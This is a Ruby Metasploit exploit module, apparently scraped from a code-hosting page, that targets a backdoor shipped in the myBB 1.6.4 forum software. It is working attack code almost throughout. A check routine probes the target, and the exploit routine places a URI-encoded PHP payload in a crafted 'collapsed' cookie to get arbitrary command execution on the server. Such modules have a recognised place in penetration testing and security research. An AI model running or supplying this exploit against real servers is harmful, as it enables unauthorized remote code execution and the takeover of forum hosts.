100 lines
2.4 KiB
Ruby
100 lines
2.4 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'myBB 1.6.4 Backdoor Arbitrary Command Execution',
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'Description' => %q{
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myBB is a popular open source PHP forum software. Version 1.6.4 contained an
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unauthorized backdoor, distributed as part of the vendor's source package.
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},
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'Author' =>
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[
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'tdz',
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],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'BID', '49993' ],
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[ 'SECUNIA', '46300' ],
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[ 'URL', 'http://blog.mybb.com/2011/10/06/1-6-4-security-vulnerabilit/' ],
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[ 'URL', 'http://blog.mybb.com/wp-content/uploads/2011/10/mybb_1604_patches.txt' ]
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],
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'Privileged' => false,
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'Platform' => ['php'],
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'Arch' => ARCH_PHP,
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'Payload' =>
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{
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'Space' => 4000,
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'DisableNops' => true,
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'Keys' => ['php'],
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},
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'Targets' => [ ['Automatic', { }], ],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Oct 06 2011'
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))
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register_options(
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[
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OptString.new('URI', [ true, "myBB path", '/index.php']),
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], self.class)
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end
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def uri
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datastore['URI']
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end
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def check
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print_status("Checking target")
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res = send_request_raw({
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'method' => 'GET',
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'uri' => uri
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}, 10
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)
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if (not res) or (not res.code.between?(200,299))
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return Exploit::CheckCode::Safe
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else
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return Exploit::CheckCode::Detected
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end
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end
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def exploit
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print_status("Sending exploit request")
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# for details of the backdoor mechanism.
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cookie = "collapsed=0|1|2|3|4|5|6|7|8|9|10|11|12|13|14|15|16|17|18|19|20|21|22|"
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cookie << Rex::Text.uri_encode(payload.encoded)
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response = send_request_raw({
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'method' => 'GET',
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'global' => true,
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'uri' => uri,
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'headers' => { 'Cookie' => cookie }
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},10)
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if (not response) or (not response.code.between?(200,299))
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print_error "Cannot connect to #{uri} on #{datastore['RHOST']}, got #{response ? response.code : 'no response'}."
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else
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handler
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end
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end
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end
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